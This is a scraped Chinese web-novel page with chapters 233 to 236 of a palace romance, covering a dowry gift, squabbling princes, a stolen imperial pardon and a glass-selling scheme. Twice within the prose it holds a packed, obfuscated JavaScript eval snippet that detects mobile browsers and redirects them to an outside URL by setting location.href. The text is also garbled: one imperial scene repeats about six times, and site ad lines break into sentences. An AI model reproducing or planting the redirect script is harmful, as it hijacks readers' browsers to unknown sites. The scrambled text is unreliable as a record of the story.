有权有势,就能深夜擅闯别人家? 云筝猛的跳起来,飞奔出去。 院子里,坐在轮椅上的男子剑眉星目,俊美无俦。 一双眼眸深邃如海,看到她的瞬间亮了,熠熠生辉,如蕴藏着满天星辰。 云筝嘴角轻扬,眉眼弯弯。 云展鹏出来,就看到两人相视傻笑的场景,心里说不出是什么滋味。 他是横看竖看都看九千岁不顺眼,“睿亲王,这个时候您应该避嫌。” 厉无恙恭恭敬敬的行了晚辈礼,“伯父,深夜前来是我太冒昧了,但,实在是迫不得已,等会我就要出京城了。” 云筝愣住了,“这么快?皇上就这么着急?” 云展鹏微微蹙眉,“就算告别也不能大晚上的登门,落人话柄……” 不等他说完,厉无恙拿出一个锦盒,双手送上,“伯父,我是特来送礼的,还请收下。” 云展鹏满心疑惑,打开盒子一看,瞳孔剧震,“这……这是什么?” 第233章 棒打鸳鸯 厚厚一叠房契地契,居然还有一家遍布各地的大钱庄,四海钱庄! 厉无恙面带微笑,“睿亲王府一半的家产给云筝添妆。” 不是聘礼,是悄无声息送给云筝的嫁妆,女子嫁妆只会传给自己的孩子,夫家不能动用。 “我知道云家不缺钱,但,这是我的一片真心。” 云展鹏不假思索的将东西塞回去,“睿亲王,您是龙子凤孙,想要什么样的女子没有?何苦冒着失了圣心的风险求娶小女,还是听皇上的话吧。” 年轻时头脑发热,为爱痴狂,但,等这一股热情过去,又失了圣心过的不如意,他日一定会心生怨气,怪罪当年让他疯狂的人。 这就是人性。 而,他只是想保护自己的女儿。 厉无恙捧着锦盒,一脸的坚定,“一直以来,我对娶妻并不热衷,直到遇到锦云郡主,我想娶妻了。” “锦云郡主才貌双全,聪明机智,我只想娶她。” 云展鹏看着这两个年轻人,头疼欲裂,“皇上并不想看到。” 厉无恙语气笃定极了,“我自有办法说服皇兄,您不必担心。” 云展鹏是男人,最了解男人的心思。 感情好时你侬我侬,感情不好时连呼吸都是错。 “我不怀疑睿亲王此时的真心,但真心瞬息万变。” 厉无恙有种秀才遇到兵,有理说不清的感觉。 他以为最大的障碍是皇兄,没成想是未来的岳父大人。 “那怎么才能让您放心?” 云展鹏眉头紧皱,都说到这种地步了,怎么还不知进退? 他随口说道,“写一封和离书,盖上您的私章和衙门的章,若有朝一日你们过不去了,请告诉我,我接她回家。” 云筝:……!!! 厉无恙:…… “不行,这不吉利。” 哪天云筝一不高兴,拿着和离书跑了,他往哪里追妻? 这是谈不下去了,云展鹏开口赶人,“夜深了,九千岁还是赶紧回去休息吧。” 厉无恙也不生气,温柔的看向云筝,“别担心,一切有我,等我回来。” 云筝心中有万般不舍,但面上不露,“凡事小心,别 你的朋友正在书荒,快去帮帮他吧 再受伤了。” 厉无恙微微颌首“放心若是在京中遇到什么事就去明镜司找谷雨有事尽管吩咐他。” “好。” 厉无恙依依不舍的看着心爱的姑娘“你想要什么礼物?” 云筝眉眼弯弯全是笑意“只要你买的我都喜欢。” 两人说个不停在一边的云展鹏看不下去了“咳咳。” “时间不早了睿亲王该回去了。” 厉无恙心中越发不舍拱了拱手说道“伯父等我回京就风风光光的迎娶云筝过门。” 云展鹏一个正眼都欠奉嫌弃的不行“赶紧走吧。” 云母掐住他的胳膊没好气的瞪了一眼赶紧收敛些那是睿亲王! 厉无恙深深的看了云筝一眼似有千言万语最后只化成了两个字“等我。” 他将锦盒递给了云筝云筝没有犹豫接了下来。“好!” 纵然再不舍生活还是要过的。 第二日云筝精神抖擞的来到内务府一忙就忙的飞起什么都顾不上了。 晌午时云筝将从家中带出来的食盒热一热就能吃了。 简单的两菜一汤一道点心 她刚坐下来准备吃饭门外就传来通禀声。 “三皇子驾到。” 她定睛一看是张总管陪同三皇子走了进来。 张总管点头哈腰小心奉承胖脸全是谄媚之色。 三皇子神色严肃满满的颓丧“云筝你怎么还吃得下饭?” 云筝无语了他带着怨气而来想找抽是吧? “我为什么吃不下饭?被抄家的是雷家被打入冷宫的是雷家女关我屁事。” 三皇子气的面红耳赤“你一点都不通人性。” 云筝挑了挑眉“嗯我很开心看到这样的结局害人者必害己应当大肆宣扬禁诫世人。” 三皇子哪敢宣扬外家犯事被下令满门查抄捂都来不及呢。 “云筝你别欺人太甚我毕竟是皇子。” 他只是一时落难总有一天会翻身的。 云筝冷笑一声以后的事谁说的准? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “三皇子,你就是这么跟上官打招呼的?行吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174212|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我会跟皇上说,你对他心存怨恨。” 三皇气的七窍生烟,“你敢!” 云筝没好气的瞪了一眼,“冲我嚷嚷啥呢?又不是我下令查抄雷家的,有本事去冲皇上叫嚣。” “欺软怕硬的货,官员评级时,我会给你一个大大的差评。” 三皇子如被掐住了脖子,满脸通红,张了张嘴,猛的看向一边的张总管。 “张总管,你怎么不管管你的下属?就任由她这么嚣张?” 张总管默默朝后退了几步,摆明了不想掺和。 三皇子:…… 云筝随手翻出几本账本,扔到三皇子面前,“把这些资料整理出来,快去。” 三皇子一脸的震惊,“你真让**活?” 云筝烦**,她还想吃饭呢。 饿肚子的她很暴躁,“你难道还想来享福?没毛病吧?不想干就滚蛋。” “你这什么态度,我是三皇子,身份比你尊贵。” 忽然,一声轻笑响起,“好热闹啊。” 张总管扭过头,怔了怔,“四皇子,您怎么来了?” 四皇子笑吟吟的的靠在门柱上,一副幸灾乐祸的模样。 “听说三皇兄过来办差,我想着兄弟应该有难同当,所以,我来了,帮三皇兄一起办差。” “锦云郡主,你尽管吩咐。” 张总管惊呆了,这两人王不见王,天天争锋相对,这会儿怎么就兄弟情深了? 三皇子心里不痛快,“你怎么什么都要跟我争?烦不烦?” 四皇子嘴角上扬,一本正经的说道,“别误会,我是真心想跟你共事。” “放屁。” 两人你一言我一语的吵。 云筝烦躁不已,皇上出的什么馊主意?“要吵出去吵,烦**了。” 就在此时,一道声音在门口响起,“这是怎么了?好端端的怎么吵起来了?” “三皇弟,四皇弟,都别吵了,别让人看了笑话。” 三皇子猛的扭头,两个熟悉的身影映入眼帘,他震惊不已,“大皇兄,二皇兄,你们也来了?” 张总管脸色微变,意识到事情不对劲,看向云筝。 看这阵仗,内务府要变主战场了! 到底啥情况?快说说。 第234章 丹书铁券被抢了 大皇子微微一笑,温文有礼。 “我们是过来帮忙,锦云郡主,您不会嫌弃吧?” 云筝面色平静,“怎么会?这是好事。” 三皇子却傻眼了,这些人到底是怎么回事? 连干活都要抢?还是另有打算? 不行,他得弄清楚是什么情况。 二皇子轻笑道,“锦云郡主,你不光做生意是一把好手,将下面的人也管的服服贴贴,太能干了。” 四皇子是赞不绝口,“那是自然,自从锦云郡主接手内务府后,业绩翻了五倍,太厉害了。” 为了不让三皇子和云筝借着公事走近,从而得到云筝的助力,他也是拼了。 大皇子主动示好,“锦云郡主,我支持你和九皇叔的婚事,也会在父皇面前帮你们说好话。” 三皇子听不下去了,他们这是想曲线救国,讨好云筝,从而得到九皇叔的支持? “这婚事成不了,还是早点死心吧,父皇的态度那么明显,别吃不了兜着走,失了圣心,就什么都不是。” 云筝更烦躁了,还让不让人吃饭了? 她眼珠一转,想到打发他们的办法了,“来人,请四位皇子去资料库,把过去五年的库房帐清一清,顺便盘一下缎库库存。” “啊,对了,这些都是广储司的机密,你们要亲力亲为,不许假借他人之手。” 一听到机密,大家相视一眼,在对方眼中看到了兴奋。 一直以来,内务府都是皇上的私库,不许任何人插手,这次总算有机会了。 云筝郑重其事的表示,“各位,请在下衙之前完成。” 三皇子看了一眼天色,“若完不成呢?” 云筝随口说道,“熬通宵赶出来呗,不想干就赶紧走人,只是,以后内务府的大门莫入。” 四皇子拍着胸口保证,“放心,我们一定会办的尽善尽美。” 这话说早了,等他干了才知道,这是一个深坑。 五年的账堆积如山,繁琐而又复杂,看的人头晕眼花。 就算他们兄弟四人分工合作,一时半会也完成不了,更不要说盘库存。 干不完啊,干不完。 他们怎么就信了云筝的鬼话? 等皇子们从眼前消失,张总管才问道,“这到底是什么回事?” 云筝拿起筷子吃了一口,“少说多看,别坏了皇上的精心安排。” 她一搬出皇上,张总管立马闭嘴了,罢了,皇子之间的争斗,他少插手,免得被波及到。 只是,他有些担心,“你就不怕他们借机将手伸进广储司吗?” 云筝的目光悠扬深远,意味深长的说道,“对他们的考验才刚刚开始。” 张总管浑身一颤,心里直嘀咕,皇上啊,你什么都不跟我说,我还是你的心腹吗? 偏心眼!这可是内务府啊!他的地盘! 深夜,皇宫 皇上放下毛笔,揉了揉脖子,吩咐下去,“大伴,准备沐浴吧。” “是。” 大太监让人准备洗漱用品。 推开隔壁的门走进去,热气腾腾的水雾迎面扑来。 皇上泡在热气腾腾的浴池里,舒服的吁了一口气。 大太监亲自上前服侍,“皇上,今晚招哪位娘娘侍寝?” 皇上也累了,“今晚不必了。” 他这才有空问了一句,“三皇子去内务府了吗?” “四位皇子都去了。” 皇上冷哼一声,“二皇子也去了?哼,都是些不省心的东西。” 一听说三皇子去内务府当差,个个抢着去,生怕好处全被三皇子抢了。 就连腿脚不便的二皇子也抢着去,出乎他的意料。 所以说,皇家哪有真正清心寡欲的皇子?都是装的! 大太监大气不敢喘。 皇上不知从哪里拿出一块同心玉佩,久久摩挲,陷入往日的回忆中。 “大伴,时间过的真快啊,一晃眼,这么多年过去了。” 大太监胆战心惊的跪下,“皇上,都过去了,别想了。” 皇上微微摇头,神色复杂难言,“别担心,朕就是感叹一下,哎。” 大太监更担心了,俗话说的好,得不到的永远在骚动! 就在此时,一名暗卫匆匆进来,“禀皇上,七号回来了。” 皇上精神一震,他派去取丹书铁券的人回来了! “让他进来。” 暗卫一进来,就带来了一个天大的坏消息,“皇上,丹书铁券被抢走了。” 皇上脸色大变,煮熟的鸭子就这么飞了?“你说什么?被抢走了?是谁这么大胆?” 暗卫受了重伤,脸色惨白,“我们本来已经在小佛堂找到了丹书铁券,但在关键时刻,一群黑衣人杀出来抢夺丹书铁券,为首的是一个戴面具的男人。” “我方不敌,**十七个兄弟,丹书铁券被抢走了,请皇上责罚。” 皇上眉头紧皱,心思飞转,“黑衣人是何来历?” 暗卫说道,“我打斗时发现,黑衣人身上有幽冥花的刺青。” 皇上闻声色变,猛的起身,急声问道,“幽冥花是前朝皇室的徽印,你没看错?” “绝对没有。” 皇上眼神冷的可怕,“看来消息提前走漏了,查,彻查。” “是。” 皇上沉思半晌,“大伴,你怎么看?” 大太监脸色也不好看,“前朝皇室还有余孽,手里还有一支暗卫。” 皇上冷笑一声,“不止,还潜伏在朕的四周,时刻盯着朕。” 他凉凉的开口,“把前首辅大人叫来,没用的老东西,至今没有一个结果,看来是不想恢复原职,更不想后辈出仕了。” 他本想让前首辅挖出这股势力,相互消耗,谁想,老家伙不肯上套,出工不出力。 “是。” 皇上想了想,“派永安出使南粤国,明镜司随行,让他们沿途收集刺探情报,朕要知道南粤边城布防的最新情况,以及朝野各方的势力情况。” 大太监暗自心惊,皇上这是疑心永安和南粤国了,将她派出去跟南粤国帝后碰个面,将南粤搅个天翻地覆。 当然,这只是一个幌子。 刺探边城布防情况,意味着什么?不言而喻。 皇上眼中闪过一道冷光,“至于叶宜蓁……” 他薄唇轻吐,说出一个凉薄至极的决定。 暗卫一进来,就带来了一个天大的坏消息,“皇上,丹书铁券被抢走了。” 皇上脸色大变,煮熟的鸭子就这么飞了?“你说什么?被抢走了?是谁这么大胆?” 暗卫受了重伤,脸色惨白,“我们本来已经在小佛堂找到了丹书铁券,但在关键时刻,一群黑衣人杀出来抢夺丹书铁券,为首的是一个戴面具的男人。” “我方不敌,**十七个兄弟,丹书铁券被抢走了,请皇上责罚。” 皇上眉头紧皱,心思飞转,“黑衣人是何来历?” 暗卫说道,“我打斗时发现,黑衣人身上有幽冥花的刺青。” 皇上闻声色变,猛的起身,急声问道,“幽冥花是前朝皇室的徽印,你没看错?” “绝对没有。” 皇上眼神冷的可怕,“看来消息提前走漏了,查,彻查。” “是。” 皇上沉思半晌,“大伴,你怎么看?” 大太监脸色也不好看,“前朝皇室还有余孽,手里还有一支暗卫。” 皇上冷笑一声,“不止,还潜伏在朕的四周,时刻盯着朕。” 他凉凉的开口,“把前首辅大人叫来,没用的老东西,至今没有一个结果,看来是不想恢复原职,更不想后辈出仕了。” 他本想让前首辅挖出这股势力,相互消耗,谁想,老家伙不肯上套,出工不出力。 “是。” 皇上想了想,“派永安出使南粤国,明镜司随行,让他们沿途收集刺探情报,朕要知道南粤边城布防的最新情况,以及朝野各方的势力情况。” 大太监暗自心惊,皇上这是疑心永安和南粤国了,将她派出去跟南粤国帝后碰个面,将南粤搅个天翻地覆。 当然,这只是一个幌子。 刺探边城布防情况,意味着什么?不言而喻。 皇上眼中闪过一道冷光,“至于叶宜蓁……” 他薄唇轻吐,说出一个凉薄至极的决定。 暗卫一进来,就带来了一个天大的坏消息,“皇上,丹书铁券被抢走了。” 皇上脸色大变,煮熟的鸭子就这么飞了?“你说什么?被抢走了?是谁这么大胆?” 暗卫受了重伤,脸色惨白,“我们本来已经在小佛堂找到了丹书铁券,但在关键时刻,一群黑衣人杀出来抢夺丹书铁券,为首的是一个戴面具的男人。” “我方不敌,**十七个兄弟,丹书铁券被抢走了,请皇上责罚。” 皇上眉头紧皱,心思飞转,“黑衣人是何来历?” 暗卫说道,“我打斗时发现,黑衣人身上有幽冥花的刺青。” 皇上闻声色变,猛的起身,急声问道,“幽冥花是前朝皇室的徽印,你没看错?” “绝对没有。” 皇上眼神冷的可怕,“看来消息提前走漏了,查,彻查。” “是。” 皇上沉思半晌,“大伴,你怎么看?” 大太监脸色也不好看,“前朝皇室还有余孽,手里还有一支暗卫。” 皇上冷笑一声,“不止,还潜伏在朕的四周,时刻盯着朕。” 他凉凉的开口,“把前首辅大人叫来,没用的老东西,至今没有一个结果,看来是不想恢复原职,更不想后辈出仕了。” 他本想让前首辅挖出这股势力,相互消耗,谁想,老家伙不肯上套,出工不出力。 “是。” 皇上想了想,“派永安出使南粤国,明镜司随行,让他们沿途收集刺探情报,朕要知道南粤边城布防的最新情况,以及朝野各方的势力情况。” 大太监暗自心惊,皇上这是疑心永安和南粤国了,将她派出去跟南粤国帝后碰个面,将南粤搅个天翻地覆。 当然,这只是一个幌子。 刺探边城布防情况,意味着什么?不言而喻。 皇上眼中闪过一道冷光,“至于叶宜蓁……” 他薄唇轻吐,说出一个凉薄至极的决定。 暗卫一进来,就带来了一个天大的坏消息,“皇上,丹书铁券被抢走了。” 皇上脸色大变,煮熟的鸭子就这么飞了?“你说什么?被抢走了?是谁这么大胆?” 暗卫受了重伤,脸色惨白,“我们本来已经在小佛堂找到了丹书铁券,但在关键时刻,一群黑衣人杀出来抢夺丹书铁券,为首的是一个戴面具的男人。” “我方不敌,**十七个兄弟,丹书铁券被抢走了,请皇上责罚。” 皇上眉头紧皱,心思飞转,“黑衣人是何来历?” 暗卫说道,“我打斗时发现,黑衣人身上有幽冥花的刺青。” 皇上闻声色变,猛的起身,急声问道,“幽冥花是前朝皇室的徽印,你没看错?” “绝对没有。” 皇上眼神冷的可怕,“看来消息提前走漏了,查,彻查。” “是。” 皇上沉思半晌,“大伴,你怎么看?” 大太监脸色也不好看,“前朝皇室还有余孽,手里还有一支暗卫。” 皇上冷笑一声,“不止,还潜伏在朕的四周,时刻盯着朕。” 他凉凉的开口,“把前首辅大人叫来,没用的老东西,至今没有一个结果,看来是不想恢复原职,更不想后辈出仕了。” 他本想让前首辅挖出这股势力,相互消耗,谁想,老家伙不肯上套,出工不出力。 “是。” 皇上想了想,“派永安出使南粤国,明镜司随行,让他们沿途收集刺探情报,朕要知道南粤边城布防的最新情况,以及朝野各方的势力情况。” 大太监暗自心惊,皇上这是疑心永安和南粤国了,将她派出去跟南粤国帝后碰个面,将南粤搅个天翻地覆。 当然,这只是一个幌子。 刺探边城布防情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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暗卫一进来,就带来了一个天大的坏消息,“皇上,丹书铁券被抢走了。” 皇上脸色大变,煮熟的鸭子就这么飞了?“你说什么?被抢走了?是谁这么大胆?” 暗卫受了重伤,脸色惨白,“我们本来已经在小佛堂找到了丹书铁券,但在关键时刻,一群黑衣人杀出来抢夺丹书铁券,为首的是一个戴面具的男人。” “我方不敌,**十七个兄弟,丹书铁券被抢走了,请皇上责罚。” 皇上眉头紧皱,心思飞转,“黑衣人是何来历?” 暗卫说道,“我打斗时发现,黑衣人身上有幽冥花的刺青。” 皇上闻声色变,猛的起身,急声问道,“幽冥花是前朝皇室的徽印,你没看错?” “绝对没有。” 皇上眼神冷的可怕,“看来消息提前走漏了,查,彻查。” “是。” 皇上沉思半晌,“大伴,你怎么看?” 大太监脸色也不好看,“前朝皇室还有余孽,手里还有一支暗卫。” 皇上冷笑一声,“不止,还潜伏在朕的四周,时刻盯着朕。” 他凉凉的开口,“把前首辅大人叫来,没用的老东西,至今没有一个结果,看来是不想恢复原职,更不想后辈出仕了。” 他本想让前首辅挖出这股势力,相互消耗,谁想,老家伙不肯上套,出工不出力。 “是。” 皇上想了想,“派永安出使南粤国,明镜司随行,让他们沿途收集刺探情报,朕要知道南粤边城布防的最新情况,以及朝野各方的势力情况。” 大太监暗自心惊,皇上这是疑心永安和南粤国了,将她派出去跟南粤国帝后碰个面,将南粤搅个天翻地覆。 当然,这只是一个幌子。 刺探边城布防情况,意味着什么?不言而喻。 皇上眼中闪过一道冷光,“至于叶宜蓁……” 他薄唇轻吐,说出一个凉薄至极的决定。 暗卫一进来,就带来了一个天大的坏消息,“皇上,丹书铁券被抢走了。” 皇上脸色大变,煮熟的鸭子就这么飞了?“你说什么?被抢走了?是谁这么大胆?” 暗卫受了重伤,脸色惨白,“我们本来已经在小佛堂找到了丹书铁券,但在关键时刻,一群黑衣人杀出来抢夺丹书铁券,为首的是一个戴面具的男人。” “我方不敌,**十七个兄弟,丹书铁券被抢走了,请皇上责罚。” 皇上眉头紧皱,心思飞转,“黑衣人是何来历?” 暗卫说道,“我打斗时发现,黑衣人身上有幽冥花的刺青。” 皇上闻声色变,猛的起身,急声问道,“幽冥花是前朝皇室的徽印,你没看错?” “绝对没有。” 皇上眼神冷的可怕,“看来消息提前走漏了,查,彻查。” “是。” 皇上沉思半晌,“大伴,你怎么看?” 大太监脸色也不好看,“前朝皇室还有余孽,手里还有一支暗卫。” 皇上冷笑一声,“不止,还潜伏在朕的四周,时刻盯着朕。” 他凉凉的开口,“把前首辅大人叫来,没用的老东西,至今没有一个结果,看来是不想恢复原职,更不想后辈出仕了。” 他本想让前首辅挖出这股势力,相互消耗,谁想,老家伙不肯上套,出工不出力。 “是。” 皇上想了想,“派永安出使南粤国,明镜司随行,让他们沿途收集刺探情报,朕要知道南粤边城布防的最新情况,以及朝野各方的势力情况。” 大太监暗自心惊,皇上这是疑心永安和南粤国了,将她派出去跟南粤国帝后碰个面,将南粤搅个天翻地覆。 当然,这只是一个幌子。 刺探边城布防情况,意味着什么?不言而喻。 皇上眼中闪过一道冷光,“至于叶宜蓁……” 他薄唇轻吐,说出一个凉薄至极的决定。 第235章 把叶宜蓁吊在城楼 “是。” 云筝对此一无所知,她睡的很好,精神饱满的来到内务府,就看到几张灰扑扑的脸。 她看着众皇子的黑眼圈,嘴角抽了抽,“各位,你们的眼睛是怎么了?打架了?” 不会真的傻到没睡觉吧? 大皇子有些不自在,清咳一声,“昨晚熬通宵了,都没睡。” 争强好胜的皇子们都不肯第一个开口说回去休息,就这么硬生生的熬着。 谁能想到查账那么麻烦呢,他如今脑子里全密密麻麻的数字,脑壳疼的厉害。 唯一的好处是,他对广储司过去五年的亏损知道的一清二楚。 啧啧啧,居然亏的那么厉害。 也难怪父皇生气,不顾朝中百官的反对,将云筝提上来。 云筝微微摇头,“熬一夜就不行了?不愧是娇生惯养的贵人,干完活了吗?” 她冷酷无情的像个周扒皮,几位皇子的心冰冰凉凉的,吃力不讨好。 大皇子默了默,“还没有……” 云筝眼珠滴溜溜的转,古灵精怪,“你们的能力和精力似乎都不行,真是可惜,本来我还想带大家发一笔大财呢。” 大家精神一震,来了! 他们累死累活守在这里,除了破坏三皇子搭上云筝和九皇叔,就是为了有利可图! 她手心随便漏点出来,就够一个皇子府吃喝了。 四皇子立马抢先说道瞎,“我不累,一点都不累,我还能干三天三夜!” 二皇子自信满满的表示,“我的能力没问题,全是他们几个拖累了我。” 四皇子反唇相讥,“你这个瘸子,才拖累了大家。” 二皇子被戳中痛处,勃然大怒冲过去,“你找死。” 二皇子和四皇子打成一团,大皇子和三皇子上前劝架,不知怎么的,战火蔓延开来,四个人打起来了。 随从们面面相觑,却不敢上前拉架,都是皇子,伤了谁都不好。 云筝笑眯眯的看着,打吧,狠狠打,你家老爹派人盯着呢。 张总管闻讯赶过来,看到这一幕,脸都绿了。 要是在这里出了事,算谁的责任? “都别打了,锦云郡主,你快说说,到底有什么挣大钱的机会?” 云筝嘴角轻扬,笑的格外灿烂。 三皇子和四皇子不约而同的打了个冷战,这笑容……怎么让人有点害怕呢? 不等他们细想,就听到云筝的声音响起,“内务府跟皇商做生意,挣的钱终究是有限的,我想搞一门生意,打造成内务府的独家定制产品,打着御用的名号,源源不断的进账。” 独家生意?意味着垄断,能挣大钱。 再冠上皇室的名号,那就是王炸。 所有人立马如打了鸡血般振奋起来,“是什么大生意?” 皇上都缺钱,更何况他们这些刚开府的皇子,哪哪都需要钱。 想要夺嫡,想要拉拢人,首先得有钱! 云筝扬了扬下巴,“你们跟我们来。” 郊外的农庄,外表看着朴实无华,跟四周的农庄没有什么区别。 三皇子四处张望,这也太普通了。“这田庄是你的?” 云筝微微颌首,“对。” 她忽然想起一事,“对了,你们的随从不能进去。” 几名随从不干了,“这不行,万一遇到危险,谁担得起这个责任?锦云郡主,你能保证皇子的安全吗?” 保证个鬼,云筝翻了个白眼,“怕就别进去,谁逼你们来了?赶紧走吧。” 走?那是绝对不可能的。 大皇子的双脚如粘在地上,打了个哈哈,“光天化日,天子脚下,能有什么危险,你们别大惊小怪。” 二皇子没好气的瞪了随从一眼,“就是,你们的胆子也太小了,锦云郡主还能故意害我们不成。” 四皇子高高昂着头,嚣张至极,“谁敢动本皇子?不怕被满门抄斩吗?” 三皇子直接下令,“你们别进去了,就在外面守着。” 一进去,才发现另有乾坤。 一队队的守卫到处可见,巡查的很严,让人不由自主的紧张起来。 云筝在一个偏院前停下脚步,院子四周围满了守卫。 门开了,一名中年男子迎了出来,笑容谄媚,“郡主,您可来了。” 云筝问道,“都顺利吗?” 管事拼命点头,眼睛闪闪发亮,“顺利,都照着您的意思办了。” 众人好奇的走进去,两扇巨大的玻璃窗立马吸引了他们的注意。 三皇子震惊的睁大眼睛,“哇,这是千金难买的琉璃?这么一大块拿来做窗子?这得多少钱啊。父皇赏赐给你的?我怎么从来没见过这样的好东西?” 晶莹剔透的玻璃在阳光下散发着耀眼的光芒,再走进去,里面摆着各种玻璃制品,工艺精美绝伦,像是艺术品。 所有人眼前一亮,光是这么一个玻璃屋就价值连城。 谁能想到到,这样的宝物居然出现在一个平平无奇的农庄中。 四皇子拿起一个纯净的玻璃杯,不禁发出惊叹,“这比西域进贡的夜光杯还要纯净,还要漂亮,这哪来的?” 云筝得意洋洋的显摆,“这是照我云家秘方,做出来的。” 自己做出来的?众人仿佛看到金山银山在冲他们招手,不禁心中狂喜。 三皇子表示怀疑,“这传家的宝贝,你怎么舍得拿出来?” 云筝微微一笑,“我以方子入股,皇上答应给我分红。” 行吧,他们君臣都商量好了。 张总管都惊呆了,没想到云筝在他的眼皮底下搞出了这样的大事,都不跟他通气! 四皇子面露喜色,“不错不错,照这样的给我来一套。” 云筝微微一笑,“这皇家玻璃窗,一扇五千两,你需要几扇?” 这价格也不算贵,一个小小的琉璃夜光杯就要上万,这玻璃窗的品质好上太多了,还这么大一块呢。 但四皇子不乐意啊,不服气的反问,“都说是皇室玻璃,我为什么还要给钱?” “错,是你父皇的东西。” 二皇子微微蹙眉,“你把我们叫来,不会是想卖东西给我们吧?” 他很想要,但没有那么多钱啊! 云筝眼珠一转,“想不想挣点钱?” 四皇子别看外表光鲜,平时一掷千金,早就大手大脚将一年的份额钱都花光了。 “你要送我们钱?” 云筝送他一个白眼,“做什么春秋大梦了,我的钱只给皇上花,不过,可以带着你们挣点零花钱。” 她有那么好心?大家心里都不信,恐怕有大坑等着。 但,强烈的挣钱欲望催促着他们。 “锦云郡主,你快说,到底想让我们干什么?” 第236章 轻松拿捏 那一次,她一鸣惊人,震惊了整个京城。 世人这才知道,她拥有点石成金的能力,是财神娘娘,也让皇上看到了她的价值。 众皇子自然知道的一清二楚。 二皇子微微蹙眉,“知道,你是让我们代理这玻璃?” 四皇子不假思索的拒绝,“不行,我们是皇子,怎么能沾染商贾之事?这让别人怎么看待皇室?” 最好是别人将金钱双手送到他面前,他推辞几次,推不掉才接受。 既要又要,说的就是他。 云筝可不会惯着他,“你清高,所以你活该受穷。” 四皇子脸都绿了,她的嘴好毒,“我不穷。” 云筝不耐烦的道,“行,把你踢出名单中。” “还有谁不想参加?都出去吧,我只要放出风声,有的是人挥舞着银票排队跪着求我。” 这话大家都信,这么好的宝贝,加上云筝的经商才能,不抢爆才怪呢。 平时不声不响的大皇子第一个开口,“听上去很刺激,我参加。” 二皇子迟疑了一下,“我虽然对钱不感兴趣,但还是想考验一下自己的能力。” 三皇子嘴角抽了抽,装什么装,大家都是一路货。“我也要试一试。” 四皇子这下子急了,他一个人被排挤出去怎么行? “那我也参加。” 云筝对此不置可否,继续说道,“一共分为五个区域,我已经划分好了,为期两个月,如果没有达到百万销量,就收回经营权。” “还有,价格你们自己定,可以统一,也可以随便定,利润是三七开,你们三,内务府七。” “但,有一点,做生意要堂堂正正,不能仗势欺人,不能相互拆台。” 众皇子面面相觑 ,心思飞转,这条件太苛刻了。 四皇子忍不住反问,“我们为什么要事事听你的?” 云筝一副你这个惹事精,好烦啊。 “你可以不听,赶紧走吧,我这就找人补位。” 这巴不得他滚蛋的语气让四皇子气死了 ,一口一声让他走人,全然不顾他尊贵的身份。 多说几句好话会死啊。 “你怎么这么暴躁,我就随便问问,真是的。” 云筝板着脸,神色严肃,“跟我当差,就得习惯我的行事风格。” 大皇子跟她接触的不多,迟疑了一下问道,“什么风格?” 云筝淡淡的道,“说一不二,无条件听从我的安排。” “我数到三,不接受的可以退出,一,二……” 她看着皇子们难看的脸,顿了顿,“三。” 她强势霸道的性格,展露无遗。 她背靠皇上和睿亲王,无须讨好这些皇子。 皇上活着一天,她就不会向这些人示好,这也是皇上想看到的。 她不妥协,那,皇子们只能妥协了。“我干。” “我也干。” “必须干,我可不想被人压一头。” 四皇子面色不豫,嘴上却示弱了,“挣几个钱也是好的。” 总不能被其他兄弟捡漏了吧。 云筝很干脆的拿出四支签,拿毛笔写上字,随后往笔筒一塞,“来,抽签吧,谁先来?” 大皇子当仁不让,“长幼有序,我先来。” 他上前抽出一支签,翻过来一看,“咦,齐鲁三省?” 二皇子也上前抽了一支签,“我是陕甘三省。” 三皇子抽到了好签,眼睛都亮了,“我是江南三省。” 四皇子没有什么可挑的,拿起最后一根签,“我是云贵三省。” 他忽然问道,“怎么没直隶省?” 若问,全国哪个地方有权有势有钱的人最多?当然是京城。 云筝把玩着茶杯,“归你们爹了,有意见去找他。” 众皇子:……谁敢? 云筝笑眯眯的说道,“对了,谁卖的最好,皇上会有一个大大的奖赏。” 大家来了兴致,“是什么赏赐?” 云筝扬了扬眉,似笑非笑,“不知道。” 二皇子立马掏出一块上好的玲珑玉,“这是刚上贡的小玩意,送给郡主把玩。” 大皇子也掏了掏身上,“这是新入的一对上好的寿山石,最适合制成印章,就送给郡主。” 其他两个皇子也掏出身上最昂贵的东西,送给云筝。 云筝只是淡淡瞥了一眼,她不用二手货,不过可以拿去拍卖,皇子们的东西一定很值钱。 “我就在这里说说,出了这个门我就不认了。” 大家更来劲了,“当然,我们都不会说出去。” 四皇子还看了张总管一眼,“要他回避吗?” 张总管:……敢情他是唯一的外人,是吧? “不必。”云筝嘴角轻扬,吐出四个字,“皇子封爵。” 封爵?所有皇子的眼睛刷的亮了,激动万分。 要知道,他们至今还是一个光头皇子,没有任何爵位。 “父皇终于要给我们封王了吗?好,太好了。” 云筝笑眯眯的说道,“想多了,要看你们的表现。” “最后到底是郡主,是光头皇子,还是王爷,谁知道呢。” 这其中的差别大了。 众人眼中燃起熊熊火焰,志在必得。 张总管就这么看着云筝将皇子们忽悠成傻子,沉默不语。 反正,封爵是迟早的事。 云筝对着屋后扬声大叫,“爹,把协议拿来。” 云展鹏不知从哪里冒出来,将准备好的协议送上。 皇子们仔细看过,确认无误后,轮流签字。 张总管阴阳怪气的开口,“云大人,锦云郡主把你借调过来,就是为了这,你们父女俩瞒的够紧啊。” 云展鹏微微一笑,“是皇上的意思。” “哼。” 等签下协议,一切尘埃落定,一行人打道回府。 皇子们谦让,让云筝父女俩的马车在前。 